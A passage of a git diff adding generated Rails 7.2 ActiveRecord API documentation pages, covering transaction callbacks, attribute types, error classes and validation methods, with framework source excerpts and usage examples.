Most databases don’t support true nested transactions. At the time of writing, the only database that we’re aware of that supports true nested transactions, is MS-SQL. Because of this, Active Record emulates nested transactions by using savepoints. See dev.mysql.com/doc/refman/en/savepoint.html for more information about savepoints.

+ +

Callbacks

+ +

There are two types of callbacks associated with committing and rolling back transactions: after_commit and after_rollback.

+ +

after_commit callbacks are called on every record saved or destroyed within a transaction immediately after the transaction is committed. after_rollback callbacks are called on every record saved or destroyed within a transaction immediately after the transaction or savepoint is rolled back.

+ +

These callbacks are useful for interacting with other systems since you will be guaranteed that the callback is only executed when the database is in a permanent state. For example, after_commit is a good spot to put in a hook to clearing a cache since clearing it from within a transaction could trigger the cache to be regenerated before the database is updated.

+ +

NOTE: Callbacks are deduplicated per callback by filter.

+ +

Trying to define multiple callbacks with the same filter will result in a single callback being run.

+ +

For example:

+ +
after_commit :do_something
+after_commit :do_something # only the last one will be called
+
+ +

This applies to all variations of after_*_commit callbacks as well.

+ +
after_commit :do_something
+after_create_commit :do_something
+after_save_commit :do_something
+
+ +

It is recommended to use the on: option to specify when the callback should be run.

+ +
after_commit :do_something, on: [:create, :update]
+
+ +

This is equivalent to using after_create_commit and after_update_commit, but will not be deduplicated.

+ +

Caveats

+ +

If you’re on MySQL, then do not use Data Definition Language (DDL) operations in nested transactions blocks that are emulated with savepoints. That is, do not execute statements like β€˜CREATE TABLE’ inside such blocks. This is because MySQL automatically releases all savepoints upon executing a DDL operation. When transaction is finished and tries to release the savepoint it created earlier, a database error will occur because the savepoint has already been automatically released. The following example demonstrates the problem:

+ +
Model.lease_connection.transaction do                           # BEGIN
+  Model.lease_connection.transaction(requires_new: true) do     # CREATE SAVEPOINT active_record_1
+    Model.lease_connection.create_table(...)                    # active_record_1 now automatically released
+  end                                                     # RELEASE SAVEPOINT active_record_1
+                                                          # ^^^^ BOOM! database error!
+end
+
+ +

Note that β€œTRUNCATE” is also a MySQL DDL statement!

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_commit(*args, &block) + +

+ + +
+

This callback is called after a record has been created, updated, or destroyed.

+ +

You can specify that the callback should only be fired by a certain action with the :on option:

+ +
after_commit :do_foo, on: :create
+after_commit :do_bar, on: :update
+after_commit :do_baz, on: :destroy
+
+after_commit :do_foo_bar, on: [:create, :update]
+after_commit :do_bar_baz, on: [:update, :destroy]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 266
+      def after_commit(*args, &block)
+        set_options_for_callbacks!(args, prepend_option)
+        set_callback(:commit, :after, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_create_commit(*args, &block) + +

+ + +
+

Shortcut for after_commit :hook, on: :create.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 278
+      def after_create_commit(*args, &block)
+        set_options_for_callbacks!(args, on: :create, **prepend_option)
+        set_callback(:commit, :after, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_destroy_commit(*args, &block) + +

+ + +
+

Shortcut for after_commit :hook, on: :destroy.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 290
+      def after_destroy_commit(*args, &block)
+        set_options_for_callbacks!(args, on: :destroy, **prepend_option)
+        set_callback(:commit, :after, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_rollback(*args, &block) + +

+ + +
+

This callback is called after a create, update, or destroy are rolled back.

+ +

Please check the documentation of after_commit for options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 298
+      def after_rollback(*args, &block)
+        set_options_for_callbacks!(args, prepend_option)
+        set_callback(:rollback, :after, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_save_commit(*args, &block) + +

+ + +
+

Shortcut for after_commit :hook, on: [ :create, :update ].

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 272
+      def after_save_commit(*args, &block)
+        set_options_for_callbacks!(args, on: [ :create, :update ], **prepend_option)
+        set_callback(:commit, :after, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_update_commit(*args, &block) + +

+ + +
+

Shortcut for after_commit :hook, on: :update.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 284
+      def after_update_commit(*args, &block)
+        set_options_for_callbacks!(args, on: :update, **prepend_option)
+        set_callback(:commit, :after, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_transaction() + +

+ + +
+

Returns a representation of the current transaction state, which can be a top level transaction, a savepoint, or the absence of a transaction.

+ +

An object is always returned, whether or not a transaction is currently active. To check if a transaction was opened, use current_transaction.open?.

+ +

See the ActiveRecord::Transaction documentation for detailed behavior.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 245
+      def current_transaction
+        connection_pool.active_connection&.current_transaction&.user_transaction || Transaction::NULL_TRANSACTION
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_callback(name, *filter_list, &block) + +

+ + +
+

Similar to ActiveSupport::Callbacks::ClassMethods#set_callback, but with support for options available on after_commit and after_rollback callbacks.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 305
+      def set_callback(name, *filter_list, &block)
+        options = filter_list.extract_options!
+        filter_list << options
+
+        if name.in?([:commit, :rollback]) && options[:on]
+          fire_on = Array(options[:on])
+          assert_valid_transaction_action(fire_on)
+          options[:if] = [
+            -> { transaction_include_any_action?(fire_on) },
+            *options[:if]
+          ]
+        end
+
+
+        super(name, *filter_list, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transaction(**options, &block) + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transactions.rb, line 232
+      def transaction(**options, &block)
+        with_connection do |connection|
+          connection.transaction(**options, &block)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Translation.html b/src/7.2/classes/ActiveRecord/Translation.html new file mode 100644 index 0000000000..98e3401174 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Translation.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Translation +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Type.html b/src/7.2/classes/ActiveRecord/Type.html new file mode 100644 index 0000000000..440cacc1a0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Type.html @@ -0,0 +1,444 @@ +--- +title: ActiveRecord::Type +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BigInteger=ActiveModel::Type::BigInteger
 

Active Model BigInteger Type

+ +

Attribute type for integers that can be serialized to an unlimited number of bytes. This type is registered under the :big_integer key.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :id, :big_integer
+end
+
+person = Person.new
+person.id = "18_000_000_000"
+
+person.id # => 18000000000
+
+ +

All casting and serialization are performed in the same way as the standard ActiveModel::Type::Integer type.

Binary=ActiveModel::Type::Binary
 

Active Model Binary Type

+ +

Attribute type for representation of binary data. This type is registered under the :binary key.

+ +

Non-string values are coerced to strings using their to_s method.

Boolean=ActiveModel::Type::Boolean
 

Active Model Boolean Type

+ +

A class that behaves like a boolean type, including rules for coercion of user input.

+
  • +

    "false", "f", "0", 0 or any other value in FALSE_VALUES will be coerced to false.

    +
  • +

    Empty strings are coerced to nil.

    +
  • +

    All other values will be coerced to true.

    +
Decimal=ActiveModel::Type::Decimal
 

Active Model Decimal Type

+ +

Attribute type for decimal, high-precision floating point numeric representation. It is registered under the :decimal key.

+ +
class BagOfCoffee
+  include ActiveModel::Attributes
+
+  attribute :weight, :decimal
+end
+
+ +

Numeric instances are converted to BigDecimal instances. Any other objects are cast using their to_d method, except for blank strings, which are cast to nil. If a to_d method is not defined, the object is converted to a string using to_s, which is then cast using to_d.

+ +
bag = BagOfCoffee.new
+
+bag.weight = 0.01
+bag.weight # => 0.1e-1
+
+bag.weight = "0.01"
+bag.weight # => 0.1e-1
+
+bag.weight = ""
+bag.weight # => nil
+
+bag.weight = :arbitrary
+bag.weight # => nil (the result of `.to_s.to_d`)
+
+ +

Decimal precision defaults to 18, and can be customized when declaring an attribute:

+ +
class BagOfCoffee
+  include ActiveModel::Attributes
+
+  attribute :weight, :decimal, precision: 24
+end
+
Float=ActiveModel::Type::Float
 

Active Model Float Type

+ +

Attribute type for floating point numeric values. It is registered under the :float key.

+ +
class BagOfCoffee
+  include ActiveModel::Attributes
+
+  attribute :weight, :float
+end
+
+ +

Values are cast using their to_f method, except for the following strings:

+
  • +

    Blank strings are cast to nil.

    +
  • +

    "Infinity" is cast to Float::INFINITY.

    +
  • +

    "-Infinity" is cast to -Float::INFINITY.

    +
  • +

    "NaN" is cast to Float::NAN.

    + +

    bag = BagOfCoffee.new

    + +

    bag.weight = β€œ0.25” bag.weight # => 0.25

    + +

    bag.weight = β€œβ€ bag.weight # => nil

    + +

    bag.weight = β€œNaN” bag.weight # => Float::NAN

    +
ImmutableString=ActiveModel::Type::ImmutableString
 

Active Model ImmutableString Type

+ +

Attribute type to represent immutable strings. It casts incoming values to frozen strings.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :immutable_string
+end
+
+person = Person.new
+person.name = 1
+
+person.name # => "1"
+person.name.frozen? # => true
+
+ +

Values are coerced to strings using their to_s method. Boolean values are treated differently, however: true will be cast to "t" and false will be cast to "f". These strings can be customized when declaring an attribute:

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :active, :immutable_string, true: "aye", false: "nay"
+end
+
+person = Person.new
+person.active = true
+
+person.active # => "aye"
+
Integer=ActiveModel::Type::Integer
 

Active Model Integer Type

+ +

Attribute type for integer representation. This type is registered under the :integer key.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :age, :integer
+end
+
+ +

Values are cast using their to_i method, except for blank strings, which are cast to nil. If a to_i method is not defined or raises an error, the value will be cast to nil.

+ +
person = Person.new
+
+person.age = "18"
+person.age # => 18
+
+person.age = ""
+person.age # => nil
+
+person.age = :not_an_integer
+person.age # => nil (because Symbol does not define #to_i)
+
+ +

Serialization also works under the same principle. Non-numeric strings are serialized as nil, for example.

+ +

Serialization also validates that the integer can be stored using a limited number of bytes. If it cannot, an ActiveModel::RangeError will be raised. The default limit is 4 bytes, and can be customized when declaring an attribute:

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :age, :integer, limit: 6
+end
+
String=ActiveModel::Type::String
 

Active Model String Type

+ +

Attribute type for strings. It is registered under the :string key.

+ +

This class is a specialization of ActiveModel::Type::ImmutableString. It performs coercion in the same way, and can be configured in the same way. However, it accounts for mutable strings, so dirty tracking can properly check if a string has changed.

Value=ActiveModel::Type::Value
 

Active Model Value Type

+ +

The base class for all attribute types. This class also serves as the default type for attributes that do not specify a type.

+ + + + + + +

Class Public methods

+ +
+

+ + register(type_name, klass = nil, **options, &block) + +

+ + +
+

Add a new type to the registry, allowing it to be referenced as a symbol by ActiveRecord::Base.attribute. If your type is only meant to be used with a specific database adapter, you can do so by passing adapter: :postgresql. If your type has the same name as a native type for the current adapter, an exception will be raised unless you specify an :override option. override: true will cause your type to be used instead of the native type. override: false will cause the native type to be used over yours if one exists.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type.rb, line 37
+      def register(type_name, klass = nil, **options, &block)
+        registry.register(type_name, klass, **options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Type/Date.html b/src/7.2/classes/ActiveRecord/Type/Date.html new file mode 100644 index 0000000000..eb1174d375 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Type/Date.html @@ -0,0 +1,74 @@ +--- +title: ActiveRecord::Type::Date +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Type/DateTime.html b/src/7.2/classes/ActiveRecord/Type/DateTime.html new file mode 100644 index 0000000000..0b29a84ee6 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Type/DateTime.html @@ -0,0 +1,74 @@ +--- +title: ActiveRecord::Type::DateTime +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Type/Internal.html b/src/7.2/classes/ActiveRecord/Type/Internal.html new file mode 100644 index 0000000000..0c85c6740e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Type/Internal.html @@ -0,0 +1,67 @@ +--- +title: ActiveRecord::Type::Internal +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Type/Internal/Timezone.html b/src/7.2/classes/ActiveRecord/Type/Internal/Timezone.html new file mode 100644 index 0000000000..21d57aecfe --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Type/Internal/Timezone.html @@ -0,0 +1,183 @@ +--- +title: ActiveRecord::Type::Internal::Timezone +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(timezone: nil, **kwargs) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/internal/timezone.rb, line 7
+        def initialize(timezone: nil, **kwargs)
+          super(**kwargs)
+          @timezone = timezone
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + default_timezone() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/internal/timezone.rb, line 16
+        def default_timezone
+          @timezone || ActiveRecord.default_timezone
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + is_utc?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/internal/timezone.rb, line 12
+        def is_utc?
+          default_timezone == :utc
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Type/Json.html b/src/7.2/classes/ActiveRecord/Type/Json.html new file mode 100644 index 0000000000..28b18dd187 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Type/Json.html @@ -0,0 +1,278 @@ +--- +title: ActiveRecord::Type::Json +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + accessor() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/json.rb, line 25
+      def accessor
+        ActiveRecord::Store::StringKeyedHashAccessor
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed_in_place?(raw_old_value, new_value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/json.rb, line 21
+      def changed_in_place?(raw_old_value, new_value)
+        deserialize(raw_old_value) != new_value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deserialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/json.rb, line 12
+      def deserialize(value)
+        return value unless value.is_a?(::String)
+        ActiveSupport::JSON.decode(value) rescue nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/json.rb, line 17
+      def serialize(value)
+        ActiveSupport::JSON.encode(value) unless value.nil?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/json.rb, line 8
+      def type
+        :json
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Type/Time.html b/src/7.2/classes/ActiveRecord/Type/Time.html new file mode 100644 index 0000000000..cd3e145df4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Type/Time.html @@ -0,0 +1,126 @@ +--- +title: ActiveRecord::Type::Time +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + serialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/type/time.rb, line 11
+      def serialize(value)
+        case value = super
+        when ::Time
+          Value.new(value)
+        else
+          value
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/UnknownAttributeReference.html b/src/7.2/classes/ActiveRecord/UnknownAttributeReference.html new file mode 100644 index 0000000000..008a2f5c61 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/UnknownAttributeReference.html @@ -0,0 +1,80 @@ +--- +title: ActiveRecord::UnknownAttributeReference +layout: default +--- +
+ +
+
+ +
+ +

UnknownAttributeReference is raised when an unknown and potentially unsafe value is passed to a query method. For example, passing a non column name value to a relation’s order method might cause this exception.

+ +

When working around this exception, caution should be taken to avoid SQL injection vulnerabilities when passing user-provided values to query methods. Known-safe values can be passed to query methods by wrapping them in Arel.sql.

+ +

For example, the following code would raise this exception:

+ +
Post.order("REPLACE(title, 'misc', 'zzzz') asc").pluck(:id)
+
+ +

The desired result can be accomplished by wrapping the known-safe string in Arel.sql:

+ +
Post.order(Arel.sql("REPLACE(title, 'misc', 'zzzz') asc")).pluck(:id)
+
+ +

Again, such a workaround should not be used when passing user-provided values, such as request parameters or model attributes to query methods.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/UnknownPrimaryKey.html b/src/7.2/classes/ActiveRecord/UnknownPrimaryKey.html new file mode 100644 index 0000000000..b217904691 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/UnknownPrimaryKey.html @@ -0,0 +1,134 @@ +--- +title: ActiveRecord::UnknownPrimaryKey +layout: default +--- +
+ +
+
+ +
+ +

Raised when a primary key is needed, but not specified in the schema or model.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + model
+ + + + +

Class Public methods

+ +
+

+ + new(model = nil, description = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 462
+    def initialize(model = nil, description = nil)
+      if model
+        message = "Unknown primary key for table #{model.table_name} in model #{model}."
+        message += "\n#{description}" if description
+        @model = model
+        super(message)
+      else
+        super("Unknown primary key.")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/UnmodifiableRelation.html b/src/7.2/classes/ActiveRecord/UnmodifiableRelation.html new file mode 100644 index 0000000000..209385df57 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/UnmodifiableRelation.html @@ -0,0 +1,77 @@ +--- +title: ActiveRecord::UnmodifiableRelation +layout: default +--- +
+ +
+
+ +
+ +

Raised when a relation cannot be mutated because it’s already loaded.

+ +
class Task < ActiveRecord::Base
+end
+
+relation = Task.all
+relation.loaded? # => true
+
+# Methods which try to mutate a loaded relation fail.
+relation.where!(title: 'TODO')  # => ActiveRecord::UnmodifiableRelation
+relation.limit!(5)              # => ActiveRecord::UnmodifiableRelation
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/VERSION.html b/src/7.2/classes/ActiveRecord/VERSION.html new file mode 100644 index 0000000000..272fd1f441 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/VERSION.html @@ -0,0 +1,97 @@ +--- +title: ActiveRecord::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Validations.html b/src/7.2/classes/ActiveRecord/Validations.html new file mode 100644 index 0000000000..da8c640070 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Validations.html @@ -0,0 +1,255 @@ +--- +title: ActiveRecord::Validations +layout: default +--- +
+ +
+
+ +
+ +

Active Record Validations

+ +

Active Record includes the majority of its validations from ActiveModel::Validations.

+ +

In Active Record, all validations are performed on save by default. Validations accept the :on argument to define the context where the validations are active. Active Record will pass either the context of :create or :update depending on whether the model is a new_record?.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + save(**options) + +

+ + +
+

The validation process on save can be skipped by passing validate: false. The validation context can be changed by passing context: context. The regular ActiveRecord::Base#save method is replaced with this when the validations module is mixed in, which it is by default.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations.rb, line 47
+    def save(**options)
+      perform_validations(options) ? super : false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + save!(**options) + +

+ + +
+

Attempts to save the record just like ActiveRecord::Base#save but will raise an ActiveRecord::RecordInvalid exception instead of returning false if the record is not valid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations.rb, line 53
+    def save!(**options)
+      perform_validations(options) ? super : raise_validation_error
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid?(context = nil) + +

+ + +
+

Runs all the validations within the specified context. Returns true if no errors are found, false otherwise.

+ +

Aliased as validate.

+ +

If the argument is false (default is nil), the context is set to :create if new_record? is true, and to :update if it is not. If the argument is an array of contexts, post.valid?([:create, :update]), the validations are run within multiple contexts.

+ +

Validations with no :on option will run no matter the context. Validations with some :on option will only run in the specified context.

+
+ + + +
+ Also aliased as: validate +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations.rb, line 69
+    def valid?(context = nil)
+      context ||= default_validation_context
+      output = super(context)
+      errors.empty? && output
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate(context = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: valid? +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Validations/ClassMethods.html b/src/7.2/classes/ActiveRecord/Validations/ClassMethods.html new file mode 100644 index 0000000000..ebab65d122 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Validations/ClassMethods.html @@ -0,0 +1,488 @@ +--- +title: ActiveRecord::Validations::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + validates_absence_of(*attr_names) + +

+ + +
+

Validates that the specified attributes are not present (as defined by Object#present?). If the attribute is an association, the associated object is also considered not present if it is marked for destruction.

+ +

See ActiveModel::Validations::HelperMethods.validates_absence_of for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations/absence.rb, line 20
+      def validates_absence_of(*attr_names)
+        validates_with AbsenceValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_associated(*attr_names) + +

+ + +
+

Validates whether the associated object or objects are all valid. Works with any kind of association.

+ +
class Book < ActiveRecord::Base
+  has_many :pages
+  belongs_to :library
+
+  validates_associated :pages, :library
+end
+
+ +

WARNING: This validation must not be used on both ends of an association. Doing so will lead to a circular dependency and cause infinite recursion.

+ +

NOTE: This validation will not fail if the association hasn’t been assigned. If you want to ensure that the association is both present and guaranteed to be valid, you also need to use validates_presence_of.

+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œis invalid”).

    +
  • +

    :on - Specifies the contexts where this validation is active. Runs in all validation contexts by default nil. You can pass a symbol or an array of symbols. (e.g. on: :create or on: :custom_validation_context or on: [:create, :custom_validation_context])

    +
  • +

    :if - Specifies a method, proc, or string to call to determine if the validation should occur (e.g. if: :allow_validation, or if: Proc.new { |user| user.signup_step > 2 }). The method, proc or string should return or evaluate to a true or false value.

    +
  • +

    :unless - Specifies a method, proc, or string to call to determine if the validation should not occur (e.g. unless: :skip_validation, or unless: Proc.new { |user| user.signup_step <= 2 }). The method, proc, or string should return or evaluate to a true or false value.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations/associated.rb, line 60
+      def validates_associated(*attr_names)
+        validates_with AssociatedValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_length_of(*attr_names) + +

+ + +
+

Validates that the specified attributes match the length restrictions supplied. If the attribute is an association, records that are marked for destruction are not counted.

+ +

See ActiveModel::Validations::HelperMethods.validates_length_of for more information.

+
+ + + +
+ Also aliased as: validates_size_of +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations/length.rb, line 19
+      def validates_length_of(*attr_names)
+        validates_with LengthValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_numericality_of(*attr_names) + +

+ + +
+

Validates whether the value of the specified attribute is numeric by trying to convert it to a float with Kernel.Float (if only_integer is false) or applying it to the regular expression /\A[+\-]?\d+\z/ (if only_integer is set to true). Kernel.Float precision defaults to the column’s precision value or 15.

+ +

See ActiveModel::Validations::HelperMethods.validates_numericality_of for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations/numericality.rb, line 31
+      def validates_numericality_of(*attr_names)
+        validates_with NumericalityValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_presence_of(*attr_names) + +

+ + +
+

Validates that the specified attributes are not blank (as defined by Object#blank?). If the attribute is an association, the associated object is also considered blank if it is marked for destruction.

+ +
class Person < ActiveRecord::Base
+  has_one :face
+  validates_presence_of :face
+end
+
+ +

The face attribute must be in the object and it cannot be blank or marked for destruction.

+ +

This validator defers to the Active Model validation for presence, adding the check to see that an associated object is not marked for destruction. This prevents the parent object from validating successfully and saving, which then deletes the associated object, thus putting the parent object into an invalid state.

+ +

See ActiveModel::Validations::HelperMethods.validates_presence_of for more information.

+ +

NOTE: This validation will not fail while using it with an association if the latter was assigned but not valid. If you want to ensure that it is both present and valid, you also need to use validates_associated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations/presence.rb, line 40
+      def validates_presence_of(*attr_names)
+        validates_with PresenceValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_size_of(*attr_names) + +

+ + +
+ +
+ + + + + +
+ Alias for: validates_length_of +
+ + + + +
+ +
+

+ + validates_uniqueness_of(*attr_names) + +

+ + +
+

Validates whether the value of the specified attributes are unique across the system. Useful for making sure that only one user can be named β€œdavidhh”.

+ +
class Person < ActiveRecord::Base
+  validates_uniqueness_of :user_name
+end
+
+ +

It can also validate whether the value of the specified attributes are unique based on a :scope parameter:

+ +
class Person < ActiveRecord::Base
+  validates_uniqueness_of :user_name, scope: :account_id
+end
+
+ +

Or even multiple scope parameters. For example, making sure that a teacher can only be on the schedule once per semester for a particular class.

+ +
class TeacherSchedule < ActiveRecord::Base
+  validates_uniqueness_of :teacher_id, scope: [:semester_id, :class_id]
+end
+
+ +

It is also possible to limit the uniqueness constraint to a set of records matching certain conditions. In this example archived articles are not being taken into consideration when validating uniqueness of the title attribute:

+ +
class Article < ActiveRecord::Base
+  validates_uniqueness_of :title, conditions: -> { where.not(status: 'archived') }
+end
+
+ +

To build conditions based on the record’s state, define the conditions callable with a parameter, which will be the record itself. This example validates the title is unique for the year of publication:

+ +
class Article < ActiveRecord::Base
+  validates_uniqueness_of :title, conditions: ->(article) {
+    published_at = article.published_at
+    where(published_at: published_at.beginning_of_year..published_at.end_of_year)
+  }
+end
+
+ +

When the record is created, a check is performed to make sure that no record exists in the database with the given value for the specified attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.

+ +

Configuration options:

+
  • +

    :message - Specifies a custom error message (default is: β€œhas already been taken”).

    +
  • +

    :scope - One or more columns by which to limit the scope of the uniqueness constraint.

    +
  • +

    :conditions - Specify the conditions to be included as a WHERE SQL fragment to limit the uniqueness constraint lookup (e.g. conditions: -> { where(status: 'active') }).

    +
  • +

